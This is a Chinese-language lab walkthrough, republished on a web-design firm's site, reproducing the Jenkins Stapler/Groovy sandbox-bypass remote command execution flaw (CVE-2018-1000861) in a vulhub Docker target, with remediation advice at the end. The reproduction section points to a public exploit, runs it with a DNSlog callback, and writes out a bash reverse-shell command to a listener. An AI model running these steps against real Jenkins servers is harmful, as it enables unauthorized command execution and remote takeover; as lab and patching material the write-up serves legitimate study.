Jenkins远程命令执行漏洞的示例分析

这篇文章给大家分享的是有关Jenkins远程命令执行漏洞的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

创新互联坚持“要么做到,要么别承诺”的工作理念,服务领域包括:成都网站制作、网站建设、企业官网、英文网站、手机端网站、网站推广等服务,满足客户于互联网时代的久治网站设计、移动媒体设计的需求,帮助企业找到有效的互联网解决方案。努力成为您成熟可靠的网络建设合作伙伴!

0x00简介

Jenkins自动化部署可以解决集成、测试、部署等重复性的工作,工具集成的效率明显高于人工操作;并且持续集成可以更早的获取代码变更的信息,从而更早的进入测试阶段,更早的发现问题,这样解决问题的成本就会显著下降:持续集成缩短了从开发、集成、测试、部署各个环节的时间,从而也就缩短了中间出现的等待时间;持续集成也意味着开发、集成、测试、部署得以持续。

0x01漏洞概述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。通过这个漏洞,可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

0x02影响范围

2.153 and earlier

LTS 2.138.3 and earlier

0x03环境搭建

1. 本次实验靶场使用vulhub中docker搭建,vulhub下载地址:

https://github.com/vulhub/vulhub

2. 然后在虚拟机中安装docker,以及安装docker-compose命令,安装方法请自行百度

3. 下载完成后传入安装了虚拟机,然后进入相关漏洞目录

cd vulhub-master/jenkins/CVE-2018-1000861/

Jenkins远程命令执行漏洞的示例分析

4.使用docker-compose up -d运行漏洞环境

Jenkins远程命令执行漏洞的示例分析

5. 环境启动后,访问http://your-ip:8080即可看到一个已经成功初始化的Jenkins

Jenkins远程命令执行漏洞的示例分析

0x04漏洞复现

1. 使用一下命令查看目标的版本

curl -s -I http://your-ip:8080|grep X-Jenkins

Jenkins远程命令执行漏洞的示例分析

2.由于此漏洞是没有回显的,这里使用GitHub上漏exp执行命令。注:也可使用burp抓包执行

exp下载地址:https://github.com/orangetw/awesome-jenkins-rce-2019

下载完成后使用python2执行检查漏洞python2 exp.py http://your-ip:8080 “curl DNSlog ”

Jenkins远程命令执行漏洞的示例分析

Jenkins远程命令执行漏洞的示例分析

3.由于此漏洞没有回显,这里直接反弹shell //注:反弹shell需要base64加密

bash -i >& /dev/tcp/your-ip/port 0>&1

base64加密网址:http://www.jackson-t.ca/runtime-exec-payloads.html

Jenkins远程命令执行漏洞的示例分析

3.1然后在nc上监听shell的ip和端口,使用exp发送加密后的shell

Jenkins远程命令执行漏洞的示例分析

Jenkins远程命令执行漏洞的示例分析

小结

1. 本次漏洞复现需要使用到docker环境,需要会用docker基本命令

2. 需要使用到linux相关的命令,以及linux反弹shell的语法

0x05修复建议

1.升级到最新版本或打上相关补丁

2.尽量不要开放到公网上

3.限制IP访问

感谢各位的阅读!关于“Jenkins远程命令执行漏洞的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!


新闻标题:Jenkins远程命令执行漏洞的示例分析
文章起源:http://csdahua.cn/article/ggiico.html
扫二维码与项目经理沟通

我们在微信上24小时期待你的声音

解答本文疑问/技术咨询/运营咨询/技术建议/互联网交流